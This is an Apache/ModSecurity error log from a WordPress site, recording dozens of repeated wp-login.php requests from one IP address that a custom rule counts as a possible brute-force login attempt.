[Sat Feb 28 03:37:07.462445 2026] [:error] [pid 34489:tid 34588] [client 62.60.130.210:55002] [client 62.60.130.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHyY2zhQsTfEZWyYbzInAAAABU"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 03:37:10.294312 2026] [:error] [pid 34489:tid 34569] [client 62.60.130.210:55002] [client 62.60.130.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHyZmzhQsTfEZWyYbzIoAAAAAI"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 03:37:12.379709 2026] [:error] [pid 34489:tid 34582] [client 62.60.130.210:55002] [client 62.60.130.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHyaGzhQsTfEZWyYbzIpAAAAA8"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 03:37:15.201347 2026] [:error] [pid 34489:tid 34572] [client 62.60.130.210:55002] [client 62.60.130.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHya2zhQsTfEZWyYbzIrgAAAAU"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 03:37:17.194006 2026] [:error] [pid 34489:tid 34589] [client 62.60.130.210:55002] [client 62.60.130.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHybWzhQsTfEZWyYbzIswAAABY"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 03:37:20.026314 2026] [:error] [pid 34489:tid 34571] [client 62.60.130.210:55002] [client 62.60.130.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHycGzhQsTfEZWyYbzIuAAAAAQ"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 03:37:22.253557 2026] [:error] [pid 34489:tid 34587] [client 62.60.130.210:55002] [client 62.60.130.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHycmzhQsTfEZWyYbzIvAAAABQ"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 03:37:25.065623 2026] [:error] [pid 34489:tid 34568] [client 62.60.130.210:55002] [client 62.60.130.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHydWzhQsTfEZWyYbzIwAAAAAE"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 03:37:26.944809 2026] [:error] [pid 34489:tid 34588] [client 62.60.130.210:55002] [client 62.60.130.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHydmzhQsTfEZWyYbzIwwAAABU"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 03:37:29.823832 2026] [:error] [pid 34489:tid 34578] [client 62.60.130.210:55002] [client 62.60.130.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHyeWzhQsTfEZWyYbzIyAAAAAs"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 03:37:31.815490 2026] [:error] [pid 34489:tid 34577] [client 62.60.130.210:55002] [client 62.60.130.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHye2zhQsTfEZWyYbzIzAAAAAo"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 03:37:34.599834 2026] [:error] [pid 34489:tid 34580] [client 62.60.130.210:55002] [client 62.60.130.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHyfmzhQsTfEZWyYbzI0AAAAA0"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 03:37:36.563874 2026] [:error] [pid 34489:tid 34591] [client 62.60.130.210:55002] [client 62.60.130.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHygGzhQsTfEZWyYbzI1AAAABg"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 03:37:39.457577 2026] [:error] [pid 34489:tid 34567] [client 62.60.130.210:55002] [client 62.60.130.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHyg2zhQsTfEZWyYbzI2AAAAAA"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 03:37:41.358766 2026] [:error] [pid 34489:tid 34583] [client 62.60.130.210:55002] [client 62.60.130.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHyhWzhQsTfEZWyYbzI2gAAABA"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 03:37:44.241812 2026] [:error] [pid 34489:tid 34587] [client 62.60.130.210:55002] [client 62.60.130.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHyiGzhQsTfEZWyYbzI4AAAABQ"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 03:37:46.147711 2026] [:error] [pid 34489:tid 34572] [client 62.60.130.210:55002] [client 62.60.130.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHyimzhQsTfEZWyYbzI4gAAAAU"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 03:37:49.005165 2026] [:error] [pid 34489:tid 34588] [client 62.60.130.210:55002] [client 62.60.130.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHyjWzhQsTfEZWyYbzI5wAAABU"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 03:37:51.106944 2026] [:error] [pid 34489:tid 34583] [client 62.60.130.210:55002] [client 62.60.130.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHyj2zhQsTfEZWyYbzI7QAAABA"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 03:37:53.968538 2026] [:error] [pid 34489:tid 34578] [client 62.60.130.210:55002] [client 62.60.130.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHykWzhQsTfEZWyYbzI8QAAAAs"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 03:37:56.312504 2026] [:error] [pid 34489:tid 34573] [client 62.60.130.210:55002] [client 62.60.130.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHylGzhQsTfEZWyYbzI8gAAAAY"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 03:37:59.180681 2026] [:error] [pid 34489:tid 34576] [client 62.60.130.210:55002] [client 62.60.130.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHyl2zhQsTfEZWyYbzI9gAAAAk"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 03:38:01.189117 2026] [:error] [pid 34489:tid 34574] [client 62.60.130.210:55002] [client 62.60.130.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHymWzhQsTfEZWyYbzI-QAAAAc"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 03:38:04.186245 2026] [:error] [pid 34489:tid 34583] [client 62.60.130.210:55002] [client 62.60.130.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHynGzhQsTfEZWyYbzI_gAAABA"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 03:38:06.512634 2026] [:error] [pid 34489:tid 34582] [client 62.60.130.210:55002] [client 62.60.130.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHynmzhQsTfEZWyYbzJAwAAAA8"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 03:38:09.360888 2026] [:error] [pid 34489:tid 34573] [client 62.60.130.210:55002] [client 62.60.130.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHyoWzhQsTfEZWyYbzJBwAAAAY"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 03:38:11.574281 2026] [:error] [pid 34489:tid 34590] [client 62.60.130.210:55002] [client 62.60.130.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHyo2zhQsTfEZWyYbzJCQAAABc"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 03:38:14.529239 2026] [:error] [pid 34489:tid 34574] [client 62.60.130.210:55002] [client 62.60.130.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHypmzhQsTfEZWyYbzJDQAAAAc"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 03:38:16.510589 2026] [:error] [pid 34489:tid 34571] [client 62.60.130.210:55002] [client 62.60.130.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHyqGzhQsTfEZWyYbzJDwAAAAQ"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 03:38:19.438879 2026] [:error] [pid 34489:tid 34587] [client 62.60.130.210:55002] [client 62.60.130.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHyq2zhQsTfEZWyYbzJFwAAABQ"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 03:38:21.260580 2026] [:error] [pid 34489:tid 34578] [client 62.60.130.210:55002] [client 62.60.130.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHyrWzhQsTfEZWyYbzJGgAAAAs"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 03:38:24.133343 2026] [:error] [pid 34489:tid 34591] [client 62.60.130.210:55002] [client 62.60.130.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHysGzhQsTfEZWyYbzJIAAAABg"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 03:38:26.247191 2026] [:error] [pid 34489:tid 34569] [client 62.60.130.210:55002] [client 62.60.130.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHysmzhQsTfEZWyYbzJJQAAAAI"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 03:38:29.008120 2026] [:error] [pid 34489:tid 34580] [client 62.60.130.210:55002] [client 62.60.130.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHytWzhQsTfEZWyYbzJKwAAAA0"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 03:38:31.140465 2026] [:error] [pid 34489:tid 34568] [client 62.60.130.210:55002] [client 62.60.130.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHyt2zhQsTfEZWyYbzJLwAAAAE"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 03:38:34.265318 2026] [:error] [pid 34489:tid 34567] [client 62.60.130.210:55002] [client 62.60.130.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHyumzhQsTfEZWyYbzJOAAAAAA"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 03:38:35.976882 2026] [:error] [pid 34489:tid 34587] [client 62.60.130.210:55002] [client 62.60.130.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHyu2zhQsTfEZWyYbzJOwAAABQ"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 03:38:38.739683 2026] [:error] [pid 34489:tid 34578] [client 62.60.130.210:55002] [client 62.60.130.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHyvmzhQsTfEZWyYbzJQQAAAAs"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 03:38:40.697631 2026] [:error] [pid 34489:tid 34573] [client 62.60.130.210:55002] [client 62.60.130.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHywGzhQsTfEZWyYbzJQwAAAAY"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 03:38:43.557857 2026] [:error] [pid 34489:tid 34577] [client 62.60.130.210:55002] [client 62.60.130.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHyw2zhQsTfEZWyYbzJTgAAAAo"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 03:38:45.571705 2026] [:error] [pid 34489:tid 34586] [client 62.60.130.210:55002] [client 62.60.130.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHyxWzhQsTfEZWyYbzJUwAAABM"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 03:38:48.323326 2026] [:error] [pid 34489:tid 34576] [client 62.60.130.210:55002] [client 62.60.130.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHyyGzhQsTfEZWyYbzJVgAAAAk"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 03:38:50.351535 2026] [:error] [pid 34489:tid 34583] [client 62.60.130.210:55002] [client 62.60.130.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHyymzhQsTfEZWyYbzJWAAAABA"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 03:38:53.086740 2026] [:error] [pid 34489:tid 34568] [client 62.60.130.210:55002] [client 62.60.130.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHyzWzhQsTfEZWyYbzJXwAAAAE"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 03:38:54.881617 2026] [:error] [pid 34489:tid 34577] [client 62.60.130.210:55002] [client 62.60.130.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHyzmzhQsTfEZWyYbzJYAAAAAo"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 03:38:57.675045 2026] [:error] [pid 34489:tid 34580] [client 62.60.130.210:55002] [client 62.60.130.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHy0WzhQsTfEZWyYbzJYwAAAA0"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 03:38:59.919096 2026] [:error] [pid 34489:tid 34574] [client 62.60.130.210:55002] [client 62.60.130.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHy02zhQsTfEZWyYbzJaAAAAAc"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 03:39:03.033177 2026] [:error] [pid 34489:tid 34571] [client 62.60.130.210:55002] [client 62.60.130.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHy12zhQsTfEZWyYbzJbgAAAAQ"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 03:39:05.176908 2026] [:error] [pid 34489:tid 34568] [client 62.60.130.210:55002] [client 62.60.130.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHy2WzhQsTfEZWyYbzJcgAAAAE"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 03:39:08.186917 2026] [:error] [pid 34489:tid 34580] [client 62.60.130.210:55002] [client 62.60.130.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHy3GzhQsTfEZWyYbzJdgAAAA0"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 03:39:10.412063 2026] [:error] [pid 34489:tid 34574] [client 62.60.130.210:55002] [client 62.60.130.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHy3mzhQsTfEZWyYbzJfQAAAAc"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 03:39:13.443996 2026] [:error] [pid 34489:tid 34589] [client 62.60.130.210:55002] [client 62.60.130.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHy4WzhQsTfEZWyYbzJhAAAABY"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 03:39:15.431803 2026] [:error] [pid 34489:tid 34580] [client 62.60.130.210:55002] [client 62.60.130.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHy42zhQsTfEZWyYbzJhwAAAA0"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
